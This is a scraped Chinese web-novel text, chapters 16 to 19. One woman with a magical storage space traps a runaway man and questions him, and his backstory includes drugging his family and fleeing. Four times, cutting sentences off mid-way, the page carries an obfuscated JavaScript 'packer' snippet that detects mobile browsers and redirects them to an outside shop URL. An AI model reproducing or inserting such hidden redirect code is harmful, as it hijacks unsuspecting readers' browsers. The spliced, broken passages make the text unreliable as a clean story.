许岁安帮许春花把吸管插好,然后拿出一双一次性筷子递给许春花,“娘,吃饭吧,要是吃不够就和我说,我再拿点其他的吃的出来。” 许春花好奇地喝了一口西瓜椰椰,一瞬间,西瓜的脆香,椰汁的甜滑都在嘴里爆开。 她赶忙又连喝几口,嚼着奇怪好吃的珠珠,惊奇感叹:“安安,你快喝喝这个,太好喝了,这是什么东西啊?真好喝呀。” 许岁安笑了笑,看着许春花对奶茶这么感兴趣,不由说道:“娘,这是奶茶,除了这个还有很多其他口味的呢。” 许春花一下子喝了大半杯西瓜椰椰才停下来,“哦哦,这个奶茶你那里多不多啊?晚上回去也给你爹喝一杯吧。” 许岁安喝着奶茶点头,“多,好,回去给爹也尝尝。” 许春花见许岁安答应了,就点点头,“好,开饭吧,你弄的这些菜看着真不错。” “也好吃。”许春花尝了一口地三鲜做出结论。 干了一上午的活儿,俩个人都饿的不行,吃饭的时候也没再说话,就安静的埋头苦吃起来。 不过从二人吃饭的速度和她们不断的夹菜行为中,看得出来,她们中午的这顿饭吃的非常香。 吃完饭,许岁安把桌子和桌子上的东西全都收起来,又看见桌子收起来后,地上有几个浅浅的土坑,于是几脚下去,土坑的痕迹就消失了。 吃饱喝足后,许岁安和许春花都不想再动,加上正午的太阳也大,于是两人就想着先休息休息,过会儿再动。 休息着休息着,不知什么时候,许岁安和许春花都慢慢睡着了。 第一次在野外这样席地幕天的休息,许岁安就算很累,也一直是提着心的。 她睡得迷迷糊糊,半梦半醒,耳边可以听到安静的树林中树叶的沙沙声,以及她娘许春花的呼吸声。 突然,许岁安听到了一种突兀的声音,原本平静有规律的沙沙声变得急躁不规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后面这人跟得太紧了,陈知礼心里烦躁。何必呢,其实他根本不会把事情说出去,他无人可说,更何况,他自己也有秘密。 眼看着人是甩不掉了,陈知礼一咬牙心一狠,决定往自己的住处跑,他在那里设了几个陷阱,如今没办法,只能把人往那边引。 不要怪我,陈知礼想,他也没办法,他好不容易才逃出来,好不容易才能稍微安稳的活着,是你非要打破,是你非要紧逼。 陈知礼咬紧牙关加快跑速,他有什么错,他只是想活着。 别再跟着我了,陈知礼边跑边在内心祈祷。 另一边,许春花因为最近没有休息好,晚上想着许岁安跟她说的事情有点失眠,所以在今天中午的午睡里睡得有点沉。 即使她被许岁安推了一把也没有很快反应过来,等她睁开困倦的双眼时,看见的就是许岁安正在奔跑的影子尾巴。 见此情景,许春花立马意识到出事了。 她急忙起身去追寻许岁安的身影,暗恼自己的不警惕,可惜半路上终究还是把人跟丢了 17. 第 17 章 许岁安一路追着前面那人跑,长时间的奔跑加上太阳的照射,让她身上的衣服几乎都被汗水打湿。 可她不能停下,于是只有咬紧牙关继续坚持。 陈知礼也是同样的不能停下,他脸颊上的汗水在不停的往下流,把他专门抹在脸上的灰变成一道一道的,看上去有点滑稽。 不知道跑了多久,陈知礼终于跑到了之前挖好的土坑那里。 他低头看着地上,悄悄在心里计算着,到了标记好的地方,一个大跨步跳过去。 成了,陈知礼心里一喜,但他没有停下,仍然快速往前面跑去。 跑出一截后,陈知礼一直注意听着身后的动静,他还是不敢赌那个可能性,没有明确知道后面那个人掉进土坑前,他是不会停下的。 许岁安跟在陈知礼后面跑,注意力一直在他身上,所以当然看到了陈知礼大跨步的动作。 她心里虽然有点疑惑,不过处在这种高度紧迫的环境里,许岁安也没时间多想,到了她感觉陈知礼跳跃的地方,看着也是正常的路。 许岁安迟疑两秒,稍微往旁边横移几步,然后也跟着做了一个大跨步的动作。 “啊——” 一阵失重感传来,许岁安下意识的叫出了声,她掉进了陈知礼之前挖好的陷阱里。 是的,很不幸,尽管许岁安有意识的规避了风险,但她没想到陈知礼挖的这个土坑是有一定的横向长度的。 与此同时,前方正在奔跑的陈知礼隐约间听到一声尖叫,他忍住了,没有回头,生怕这是一个陷阱,于是继续往前跑。 只能说幸好陈知礼没在土坑里放什么尖锐的东西,所以虽然许岁安结结实实的摔了下来,身体很痛,但好歹没有性命之忧。 许岁安掉进土坑里后,摔的头晕眼花,她在原地缓了一会儿,抬头打量土坑上方,看着有点高啊。 许岁安叹了一口气,知道这么会儿功夫,估计人已经跑远了,追不上了。 她摇摇晃晃的站起来,忍痛估计了一下爬出土坑的高度。 嗯,土坑壁被专门修饰过,上面很光滑,没有什么石头之类的,也没有什么着力点。 这土坑又被挖得很深,一个人就是举着手跳起来,离土坑上方的边缘处也还有一大截距离。 许岁安想了想,这土坑还挺适合捕猎的。 不管是猎物还是人掉进这土坑里,没有其他人帮助,应该就没办法上去了,只能在坑底等死。 当然,这对于许岁安来说不算什么问题,她有空间,空间里有梯子,如果她想出去,把梯子拿出来就成。 不过,在思考一番后,许岁安还是决定不出土坑了。 如今自己已经把人跟丢了,这山上那么大,盲目找人估计也找不到了,只有寄希望那人会回来查看土坑的情况吧。 许岁安不顾形象的坐在土坑里,拿出矿泉水喝了几口。然后看了看自己的情况,还好,就是有些擦伤,还有一只脚扭了。 想想还有点好笑,许岁安苦中作乐,上次和徐明珠从树上摔下来伤的是右脚,这次自己从土坑掉下来,伤的还是右脚。 怎么,她的右脚是受了什么诅咒吗?伤了又伤。 许岁安在坑底发散的想东想西,等了一会儿,见人没有回来,心里有点疑惑。 她拿出梯子,咬牙爬了上去,在走或不走中犹豫一番,决定还是继续等,等到第二天再说。 不过自己也不能白等,该做个小陷阱把人留下。 既然那人已经在这里挖了陷阱了,许岁安想那人肯定对这块地非常熟悉,她的陷阱一定要非常隐蔽才行。 想来想去,许岁安决定用鱼线来设置陷阱,只要那人走进鱼线圈内,自己在坑底一拉,那人应该也会来不及反应,和自己一样掉进土坑里。 把鱼线都掩盖好后,许岁安又拖着她那扭伤的脚,呲牙咧嘴的慢慢下爬进土坑。 脚踝疼的实在厉害,许岁安从空间拿出一片止痛药服下,又在脚踝肿胀处抹了些药油,就不再管其他,只是静静的等着人回来。 另一边,陈知礼又往前跑出许多,才慢慢确定,后面没有人跟着他了。 他边跑边回头看,听着周围的声音,周围安静的很,只有自己急促的喘息,没有人跟着了,陈知礼慢慢停下脚步,瘫坐在地上。 在地上歇了一会了后,陈知礼感觉到自己嘴里的干渴,于是就撑了一下地,带着疲软的身体站了起来。 现在后面没有人追了,可以慢慢回自己的居住点休息整理。 陈知礼选的居住点非常隐蔽,那是一个天然的山洞。 山洞像是一个平放的葫芦结构,外面是一个小山洞,往里走越来越窄,直到走过只能容纳一人通过的狭窄空间,再往里面走,就是一个圆形的大山洞。 大山洞的空间非常大,又高又宽,陈知礼觉得大山洞几乎有两个房间那么大了。 因为大山洞更加隐蔽安全,陈知礼一般会把自己的东西往大山洞那里放。 当然,陈知礼主要的活动场所还是在小山洞,小山洞离外面更近,有什么风吹草动他马上就能发现,也方便他及时做出应对。 山洞外有一层藤曼野草覆盖,山洞周围又都是石壁野草藤曼,如果不是提前知道这里有一个山洞,仅凭肉眼真的很难发现。 加上在山洞的不远处,有一片沼泽,人们觉得这里危险晦气,很少会有人来这块地方,陈知礼就更加不被人发现和安全了。 小心翼翼地回到山洞,陈知礼喝了几口水坐在垫子上开始沉思,要不要回去看看土坑里的那个人。 其实在看到那个人也有空间后,陈知礼还是有点微妙的高兴。 他也有一个空间,空间不大,是由他原来的衣柜变成的。 衣柜整体分两部分,上面是一个双开门的长方形大储物柜,对应着两扇门下面是两个小抽屉。 他的衣柜变成空间后,本身构成衣柜的木料消失,只剩衣柜里的空间,分成三部分,上面一个大的储物空间,下面两个小的储物空间。 虽然空间不大,但对于陈知礼来说,空间可以算是给了他二次生命。 陈知礼原来的家里有母亲、父亲和两个姐姐、一个妹妹,他作为儿子,在家里遭受了很多压迫欺负。 他的父亲是一个秀才的儿子,耳濡目染下学了几个字,后来嫁给母亲. 母亲当时是祖母的学生,平时表现还不错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014602|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是处于押宝的心理,加上父亲也到了说亲的年纪,祖母将父亲嫁给了母亲。 陈知礼听说她们成亲后,一开始过得还可以,生下了两个姐姐和他自己,可后来母亲多次科举失利,不知怎么染上了赌瘾。 那之后,原本还可以正常生活的家庭不复存在。 家里的银钱很快都被母亲败光,加上有时母亲醉酒回来后会发泄怒气的打骂父亲,父亲最终没熬过,郁郁而终。 父亲死后,母亲像是悔过了,清醒了一段时间,又娶了一个夫郎回来。 母亲的新夫郎原本的家庭也很奇怪,都说嫁出去的男儿泼出去的水。 按理说收完聘礼后,她儿子就不该再给她们钱,可继父家却时不时的让继父再拿些东西给她们。 这让陈家本就家庭不富裕的情况变得更严重,但不管怎样,生活总要继续,不过陈知礼在家里活得更难了些,干的活也更多了。 后来继父生了一个女儿,新生命降临对于一个家庭来说是喜事,不过这也意味着养家的负担又加重了,母亲好好赚钱养家过一段时间。 不过很快,出于各种原因,她的赌瘾又回来了。 家里没钱了,两个姐姐都分家自己过了,赌场的人找上门来,要求母亲尽快还钱。 要还的钱不是一个小数目,有三十多两,母亲天天在家急得团团转,拿着继父仅剩的首饰去典当,可那也远远不够。 不过这些都和陈知礼没什么关系,他很忙,忙到麻木。 家里的活都等着他去做,空了还要帮继父带女儿,同时也得想办法挣些铜钱补贴家用。 家里焦躁的气氛没有影响陈知礼,陈知礼就这么忙忙碌碌的继续生活。 直到那一天,陈知礼的母亲变得不再急切,她甚至对陈知礼很温和,她还从外面带回来几个菜,吃的都变好了。 陈知礼不傻,他隐隐觉得有什么坏事发生了。 于是,为了印证自己的猜测,陈知礼将饭碗收到厨房后,立马回到堂屋外偷听。 后来,陈知礼无数次的庆幸他这次的小聪明,他听到了母亲对继父说要把自己卖给镇上的钱员外当小侍。 钱员外出手非常大方,纳个小侍都可以给四十两,有这四十两,赌债还清后还有余钱。 如今钱员外已经给了二十两,剩下二十两等三天后她纳了陈知礼再给钱。 陈知礼听见母亲假惺惺的对继父说:“听说钱员外的小侍没有超过两个月的,知礼也是我儿子,如果不是没办法,我绝不会推他下这个火坑。” “现在就剩两天了,这两天我们就对知礼好些吧。你也不要再苛待他了,他这回可是救了我们一家的命啊。” 继父沉默片刻,问母亲要钱,“最后两天了,好歹让知礼可以顿顿吃肉吧,你给我一两银子,我让知礼买些肉回来吃。” 陈知礼听见母亲嗤笑一声,“把钱给你,你说不定又得抠些出去补贴你的娘家。” “不过你说的也对,这两天是可以让知礼吃些好的。” 陈知礼听到这里就闭紧嘴巴,悄悄回到了厨房。 他在厨房里竭力保持镇定继续干活,同时心里默默谋划在这两天要怎么逃出去。 18. 第 18 章 如今正值盛夏,天上的烈阳将土地都炙烤的干燥发烫,可陈家的厨房却并没有被这热烈的阳光温暖到。 陈知礼孤身一人处在这极度寂静的厨房里,他好像生病了,全身都止不住地轻微颤抖着,一股阴冷的气息像蛇一样幽凉的缠绕在他身上。 “知礼啊,娘今天得了点钱,给你一两,你这两天多买点好吃的改善一下伙食。” 一阵突兀的话语响彻在厨房,陈知礼听着那熟悉的声音,吓得心跳一停,他僵硬地转头看向来人。 “你这眼睛是怎么回事?”陈母看着陈知礼通红的的眼眶,狐疑地问道。 “啊。”陈知礼任凭内心翻江倒海,表面上他还是努力强装镇定。 “儿子这不是忧心母亲的事情吗?刚刚没忍住在厨房流了几滴泪。”陈知礼举起袖子挡住脸,声音沙哑的说道。 “这样啊。”陈母不自在的摸了摸鼻尖。 “你个男儿家就不要操心这些了,娘已经找到解决办法了。” 陈知礼闻言,一种悲哀又愤怒的情绪涌上心头,他几乎想要不管不顾的质问母亲,质问母亲这所谓的办法就是卖了他这个儿子吗? 他多想不管不顾的控诉自己这些年来遭受的不公,自己为陈家做出的贡献,他为家里做了这么多,到头来,却连个活路都不给他吗? 而现实里,陈知礼只是痛苦无奈地咽下所有委屈难堪,佯装好奇的询问陈母,“是吗?娘已经找到解决办法了啊,是什么办法呢?” 陈母被陈知礼这么一问,顿时有股说不清的怒气涌了上来。 “你就别管这么多了,喏,这银子你拿过去吧。” 陈知礼悬着的心终于还是被狠狠的摔在了地上,他是多么可笑啊,在陈母回复前,他的心中仍然有着天真的期待。 陈知礼扯了扯嘴角,麻木的走过去,把一两银子从陈母手中拿起。 “娘,这银子我可以随便花吗?”陈知礼低着头问道。 “什么随便花,这是一家人这两天的饭钱,多余的钱你要还给我的。”陈母下意识的说道。 陈知礼闻言,心中更是悲凉,“哦,我还以为剩下的银钱我可以拿去买件新衣服呢。” 陈母听着这话,眉头皱起,她几乎就要忍不住的呵斥陈知礼,呵斥他今天怎么变得这么贪婪。 但当她看见陈知礼身上穿着的打了补丁的旧衣服时,沉默几秒,一丝久违的愧疚让她退了一步。 “嗯,行了,你要是真的那么想要一件新衣服就买一件吧,这一两银子也够你花了。” “不过这两天的饭菜你可得做好点,一两银子给了你,不是让你乱花的。”陈母不放心地叮嘱道。 陈知礼听见了这么可笑的话语,忍不住扯了扯嘴角,低着头瓮声瓮气地回答道:“我知道的,娘,你可真大方。” 陈知礼说这话是带着一种讽刺的,但他没想到陈母是真的这么认为的。 陈母点头,她也觉得自己挺大方的。 一共才二十两,她都舍得分给自己儿子一两,这可是二十里面的一啊,不是一百,更不是一千。 “行了,今天晚上你炖个鸡汤,再炒个猪肉,其他的菜你再看着办吧。” 想了想,陈母叮嘱道:“不要在外面逛的太久,耽误了吃饭时间。” 陈知礼几乎快要冷笑,这就是他娘,如此自私,如此冷血。在卖儿子的最后两天里,还要让儿子好好操持家务,不能耽误了她吃饭! “我知道了,娘。”陈知礼平静回道。 “嗯,我回屋补觉了,这两天,天天想着赌场的事情,觉都没睡好。”陈母打了一个哈欠,转身慢慢悠悠的回屋了。 陈知礼跟在陈母身后,也踏出了厨房。 在烈日的照耀下,他感觉身体有些眩晕,晕晕乎乎的找不到自己的落脚点,晕的他只想回房歇着。 陈知礼回到了自己的房间,他的房间有点小。 一张床、一张梳妆台、两个大木箱,一个衣柜,就基本上把房间占的满满当当了,人在里面走可以,但再多的家具就放不下了。 回到了自己最熟悉的空间,陈知礼怅然地环视一圈,将藏在大木箱最底下的五十三枚铜钱全部拿出来带着身上。 他坐在床上,低头凝视自己大腿上用手帕垫着的一两银子和五十三枚铜钱。 怎么办呢?陈知礼苦恼,他都想直接带着这些银钱跑了。 但这样不行,他没有户引,直接离开,到了其他地方就成了流民,听说重新办户籍要好几两银子。 陈知礼把银子包好,放进怀里,起身打开衣柜,想看看有没有什么可以变卖的东西。 在他反复翻看整理衣柜时,不知碰到了哪里的小木刺,手背一痛,流了几滴血,衣柜也突然消失不见了。 陈知礼惊奇的看着原本放着衣柜的地方,如今那里空无一物。 衣柜呢?衣柜在哪里呢? 陈知礼想着想着,就突然有了一种奇妙的感应,他闭眼,却觉得自己好像看见了衣柜。 不过现在这个衣柜,只有衣柜里面的空间,他看见他原来放在衣柜里的东西都在这空间里出现。 ‘上天有眼啊!’ 陈知礼睁开眼睛,无声大笑,他知道自己该往哪里去了。 衣柜里原本的东西很少,就几套旧衣物和一些小杂物。 陈知礼想了想,决定衣柜里原本的东西都不扔,杂物整理一下,包在一起,节省空间。 其他的,陈知礼翻看了一下大木箱和梳妆台,心里有了想法,决定等晚上回来再收,他现在该出门去买一些东西了。 陈知礼背着背篓出门时,遇到了继父正带着他的女儿在院子里玩耍。 继父怜悯的看了一眼陈知礼,到底是没有多说什么,低下头继续和自己女儿说着话。 陈知礼有点恍然,看着那父女和谐的模样,抿了抿嘴,出门后轻声把大门关上,隔绝了里面父女玩闹的场景。 他已经彻底不再对母亲抱有期望了,继父更不用多说,两个姐姐也不能依靠,如今他唯有相信自己了。 陈知礼出来,先奔着小医馆去,他知道有种蒙汗药在小医馆那里可以买到。 问了几家小医馆,终于找到有卖的了,十文一份,一份蒙汗药可以让一个人睡死。 陈知礼想了想,拿出五十文,买了五份,然后借着把东西揣进怀里的功夫把蒙汗药放进空间。 而后他又去成衣铺,买了一身适合外出的短打衣物,和一双靴子、一双布鞋。 在成衣铺买完后,陈知礼的银子正好被找开,也方便他再去买其他东西。 陈知礼想了想,决定先去菜市场把陈母要求的食材买好再说,他买了半只鸡、一块猪肉和几样素菜。 买完这些,剩下的铜钱陈知礼也不打算再留着了。 他去杂货铺买了五十根蜡烛,杂货铺送了他两个青铜灯台。 然后陈知礼又买了一个水囊、一捆绳子和一块油布,他觉着这些东西以后应该都能用到。 回去的路上,陈知礼闻着糕点铺的香气,犹豫地走了进去,他已经好久好久没有吃过糕点了。 如今他都快要生死不知了,干脆买几块尝尝味道,也算是完成一桩心愿。 “真香啊。”近距离闻过糕点气味后,陈知礼不由发出感概。 他买完糕点后选择直接在店里吃,如果带回去,说不定这几块糕点就轮不到他了。 糕点铺里正好摆了一张桌子,陈知礼就在那儿坐下来吃,店员看见了,还给陈知礼端来一杯花茶。 陈知礼小口小口细细品尝着这杯花茶,花茶不仅香,喝着也甜,“真是清甜可口啊。” 此时,他在心里有种美好的期盼,糕点有点困难,他就不多想了。但以后他住在山上,弄些花茶应该不成问题吧。 “谢谢你的花茶,非常好喝。”离开糕点铺前,陈知礼笑着对店员道谢。 回到陈家,陈知礼先回自己屋里,把食材之外的其他东西全都收进空间,然后再去厨房做饭。 等到晚饭差不多快做好时,陈知礼的继父走了过来。 “知礼啊,你买完菜肉剩下的铜钱呢?” 陈知礼动作一顿,转头似笑非笑的看着继父,“娘说了她今天给我的银子都由我自己花,爹现在这么问是什么意思?” 陈知礼继父本想陈母对着银子的去留可能说的没那么清楚,他过来就可以把剩下的铜钱拿走,如今看来还是算了。 “没什么,只是担心你年纪太小,拿不住这些钱。” 陈知礼转头冷笑一声,没再看继父,“继父放心,我为家里琐事采买过不少东西,对于银钱价值心中有数。” 陈知礼继父看着陈知礼忙碌的背影,叹息一声,转身离开了。他想着还是算了,这钱拿着烫手,就当是为女儿积福了。 等继父离开后,陈知礼呆坐在厨房中,一滴眼泪顺着他的脸庞流下。 陈知礼本身是个坚强的人,他想了想,倔强的咬着嘴唇,抬手把眼泪擦去。 他在心中暗恨道,‘一个两个的,对于他的卖身钱倒是看得重。今晚之后,看她们花什么。’ 夏季的白天较长,饶是陈知礼今天做饭花的时间长了些,此时外面的天色才微暗映着黄昏。 陈知礼把饭菜摆好,又把茶酒倒好,这才对着他娘说道:‘娘,菜都已经上齐了。’ 陈母看着今天的菜色,满意点头,“好,开饭吧。” 酒过三巡,陈母又开始吹嘘她以前在赌场赢了多少,说她从前在学堂成绩是多么好,说她未来会多么多么厉害。 陈知礼听着这些没用的废话仍和之前一样不言不语,继父也和之前一样连声附和着陈母。 不知什么时候,陈母的声音越来越小,等陈知礼回过神去看时,发现她已经趴在了桌子上。 “爹爹,我困。”陈知礼听见小妹小声的和继父撒着娇。 继父安抚了一下小妹,然后让陈知礼帮着她一起把陈母扶回屋里,陈知礼和往常一样应下。 之前陈母也有过喝醉酒趴在桌子上的情况,所以今天陈知礼继父看见陈母这样并没有觉得奇怪。 “好了,我带着湘湘去休息了,你把东西收拾好也去休息吧。”陈知礼继父对着陈知礼说道。 陈知礼点头,默默开始收拾起来。 此时,他的继父早已带着女儿回屋休息了。 不知怎么,陈知礼继父感觉他今天也早早的有些困了。 陈知礼照常把碗筷都收拾好,然后不紧不慢的开始熬肉酱,又做了十个白面饼子,把家里剩下的两个鸡蛋也煮熟装好。 弄完这些,他又把背篓拿过来,在背篓里把油布、绳子、斧子、镰刀、盐、碗筷、刀依次放好,再把他做好的吃食放进去,把背篓收进空间里。 陈知礼此时的内心非常平静,他已经做好了独自面对未来的准备,所以至少现在他想尽可能全面从容的收拾好一切。 他回到了自己的房间,不舍的打量着房间里的每一处风景。 尽管他在这个家里并没有多少美好的记忆,但真到了这种再也不能回来的时候,他还是会非常的不舍和难过。 过了今晚,他陈知礼就再也没有家了。 陈知礼仔细的查看着自己的梳妆台,上面的东西非常少,就两根木簪、两条发带、一罐面脂、一罐手膏、一盒皂荚。 这些东西他都要带走,以后都用得上,不过面脂、手膏已经用了一些,都还剩小半罐,到了新地方还得再买些。 皂荚也是一样的,他这里有的不多了,一会儿该去其他房间看看。 大木箱子里有陈知礼冬天的衣物,这肯定是要带走的。 还有两床厚被子和一个枕头,枕头要带,厚被子带那床比较新的,另一床厚被子就算了,那床盖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而后,背起准备好的小包袱,头也不回的向镇外走去。 虽然陈母要把陈知礼卖了,要把陈知礼往死路上赶,但不管怎么,她毕竟是陈知礼的母亲。 杀死母亲,陈知礼做不到。 他现在敢打翻油灯,也是因为打更人提醒的时间已经到了大部分人起床的时间,陈母不会有事。 陈知礼打翻油灯的原因,是为了烧掉他自己的房间,烧掉一半的房间也行,他房间里柜子的消失总得有个原因。 再后来,陈知礼在路上把自己弄得脏兮兮的,从外表很难看出他是男是女。只要他不开口说话,他这样子也能避开不少危险。 到达下一个镇子时,陈知礼找木匠购买了一个木架子,木架子放进空间里,他收纳方便了不少。 就这么走啊走啊,陈知礼也不知道自己走了多远。反正有一天,他终于看见一座山,他没有犹豫,坚定的走进了这深山里面。 后面陈知礼又历经多少艰辛才找到他现在住的山洞就不提了,反正等陈知礼好好安顿下来,又过了一段时间。 他就像个勤勤恳恳的工蜂,不断的在山里忙碌,为他的山洞增添一样又一样东西。 当陈知礼第二次捡到被冻死的兔子时,他意识到了什么,今年的冬天好像格外的冷啊。 在山洞里思考一番后,陈知礼决定下山去买点什么,他现在还有十一两银子。 也许是他真的运气很好吧,在前往镇上的路上,陈知礼偶遇到了一个要去镇上卖熊皮的猎户。 那熊皮成色不是很好,表面有数道被缝起来的划痕,也不是一气呵成的一整块熊皮,是由两块熊皮拼接而来的,这种熊皮怎么也不能卖出高价的。 陈知礼心动了,完美的熊皮不是他可以妄想的,但这种有多处损伤的熊皮,他也许可以拿下。 在和猎户讨价还价一番后,这块熊皮连着板车上的兔毛帽子、兔毛鞋子、兔毛手套、兔毛围脖一起打包卖给了陈知礼。 陈知礼的银子就这么全花完了,回到山上,他换上这兔毛全套,砍了些柴,把他前两天消耗的正好给补上。 又过了些时日,山洞外的积雪垒的老高,已经到了不能再外出的程度。 陈知礼全副武装,蜷缩在山洞里,他自认为准备的还比较充分,省着点儿,应该可以熬过这个冬天。 可惜,等冬天过了,温度却并没有马上升起来,他哆哆嗦嗦的想去砍些柴回来,却悲哀的发现柴是湿的,根本烧不起来。 后来的日子陈知礼都不知道自己是怎么度过的,只记得他的身上生了很多冻疮。 天气暖合起来后,冻疮痒得不行,他用手去挠,挠下来一些腐烂的皮肉。 他想尽办法去治,敷草药抹药膏,才终于让那些地方变成了疤痕,他活下来了。 后面的事情很混乱,有一天陈知礼实在找不到水了,没办法就跟着大部队迁移,路上死了很多人。 在这种环境下,陈知礼每天都过的心惊胆战,因为身怀隐秘,他也不能有交好的人。 于是,再到后来,像陈知礼这种看着孤身一人的人成了所有人的靶子,是其他人的狩猎对象。 没办法,为了死的好看点,陈知礼只能自己找个无人的地方自杀。 他其实也活够了,每天都活得这么痛苦,连个说话的人都没有,他好孤独,他甚至都不知道自己为什么要这么痛苦拼命的活着。 没想到,当陈知礼再次醒来时,他发现他回到了过去,他回到了那个极度寒冷的冬天的前一年。 这一次,难道他又要重复上一世的经历吗? 陈知礼想到了今天看到的那个女人,她好像也有空间。 或许,改变命运的契机已经出现了。 19. 第 19 章 夕阳西下,许岁安百无聊赖地仰头看着天空的变化。 在等人回来的这段时间里,许岁安想了很多,她有些懊恼自己的不谨慎,平白惹出一个麻烦。 许岁安想,如果那个人真的攀扯到自己,说自己有什么超能力,是妖怪什么的,她也可以反咬一口,说那人不对劲,精神不正常之类的。 总归空间的事只有那一人看见了,口说无凭,胡说八道谁都可以。 不过这件事也给许岁安提了个醒,她以后要更加低调谨慎,在露天的野外要格外注意高空处是否有人。 同时许岁安也决定好,这几个月就先不砍树了。 现在的季节,大树正是枝繁叶茂的时候,她们如果想检查树上的情况,还得一棵树一棵树的爬上去看,不值得。 干脆等到秋冬季节,树叶落的差不多了,她们再过来砍树好了。 那时候树上有没有人,直接一目了然,不会再出现今天这种情况。 “唉——” 许岁安想着有点烦,那人是不是有毛病啊,哪个正常人会无缘无故的安静的在树上躲一上午啊。 不过往好处想,许岁安努力开导自己,幸好这次只有一个人,不是一伙人,那人说出去估计也没人信。 ‘回来——回来——你快回来吧——’ 许岁安默默在心里祈祷,不管怎么说,她还是希望那个人可以回来看看情况,这样她才好解决掉这个麻烦。 独自待在坑底,许岁安虽然老是在想东想西,但耳朵一直注意着听上面的声音。 直到有一阵轻微的脚步声传来,许岁安仰头紧盯着上面的情况,是那个人回来了吗? 看到熟悉的沾满了树叶的衣服,许岁安莫名的感到一丝安慰,还好这人回来了。 许岁安拍拍身上的土,站起来,认真打量着来人,这人有点谨慎,做了一点简单的伪装。 从许岁安的视角看去,只能看见那人有一双坚韧且无畏的黑色眼眸,他的下半张脸被一张黑色布巾遮住,许岁安看不出他的模样。 “你有空间?”来人的声音有点暗哑,像是许久没说过话。 许岁安皱眉,正常的古代人会往空间那里想吗?不应该往鬼神方面想吗?难道这又是一个穿越者? “Haoareyou?” 这是现代的经典提问,每一个现代人都会不由自主地回答下一句。 “什么?”来人有点疑问。 ‘好,不是。’许岁安确定了,她用力将鱼线一拉,将上面那人拉下来。 随着一声沉闷的“砰——”,上面那人终于像许岁安那样结结实实的摔下来了。 趁着那人刚摔下来,头晕眼花的,许岁安快步上前,拿出扎带,将那人的双手从背后绑起来。 现在,她们终于可以好好谈谈了,许岁安想。 眼看着那人半天没有动静,许岁安心里开始犯嘀咕,该不会摔晕了吧? 想了想,许岁安还是上前将那人翻个身,哦,没晕。 “你哭什么?这陷阱不是你挖的吗?”许岁安看着那人一直在默默流泪,觉得莫名其妙。 “......你是坏人。”那人哽咽地说。 许岁安被气笑了,“我可没说过我是好人。” “现在,作为坏人的我,向你提出疑问,请给我一个不杀你的理由。” 许岁安蹲在那人身边,拿出匕首,抵在来人脖子上。 她的手有点颤抖,如果可以,她也不想这么做。 “我,我是来找你合作的。”感受到那一丝冰冷的接触,那人说话有些害怕,他有点后悔过来了。 “合作?为什么?你有哪里特别吗?”许岁安问。 “我...”,陈知礼憋闷,在死亡的威胁下,他说出了自己的秘密,“我也有空间。” 许岁安沉默了,这个世界拥有空间的人还挺多的哈,随便来一个都有。 想了想,许岁安收起匕首,将地上躺着的那人扶起来,背靠土坑壁坐着。 “证明?” 既然已经说出来了,陈知礼不再犹豫,一个意念将空间里的一根木簪取出来。 许岁安惊讶的看着地上的木簪,这人还真有空间。 “你的空间有多大?” 陈知礼犹豫了,他的空间很小,要说实话还是说的更小一点好呢? “很小。”他最后给了一个模棱两可的回答。 许岁安看着对面的人,笑了笑,“很小是多小?一辆板车拉的东西你那儿能放下吗?” “...也许可以。”陈知礼不太确定,这要取决于板车上装了多少东西,他也不算说谎吧。 “太小的话,其实用处不大,你还有其他要说的吗?”许岁安问。 “我...”,陈知礼直视着许岁安,“我还以为我们是一样的。” 他的眼睛看起来有些难过,许岁安想,“为什么这么说?” “我们都有空间。”陈知礼说,他还想说拥有空间的我们都是孤独的,或许两个人可以做个伴。 可是陈知礼又突然想起,上午的时候,眼前这个人分明和另一个人分享了她的空间,她们好像又不一样了。 “上午的时候,你身边的那个人也有空间吗?”陈知礼有些好奇。 “她没有,不过我有就是她有。” “哦。”陈知礼觉得自己不该再自讨没趣了,他果然还是该一个人的,“你杀了我吧。” 陈知礼这样说,倒是让许岁安迟疑了。 “其实,我不想杀你的,我只是想保护我自己。” 陈知礼点头,“我明白,我要是你也会这么做。” “说说你的合作吧?”许岁安有点好奇。 “我本来想,你和我都是有空间的人,空间是一种秘密,不该再被其他人知道。这样,我们就该是天然的同行者。”陈知礼语气幽幽。 “可是,你好像不是这样的,你不是一个人。” 许岁安点头,“你说的没错,你的空间有几个人知道?” 陈知礼不再多想,平静回答,“两个,你和我。” “哇,真是荣幸。”许岁安平静的感叹。 “你的空间既然只有你自己知道,那你一个男儿家往山里跑什么?” 陈知礼沉默几秒,“我害怕。” 许岁安听见这个回答,也没追问,“行,也算一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 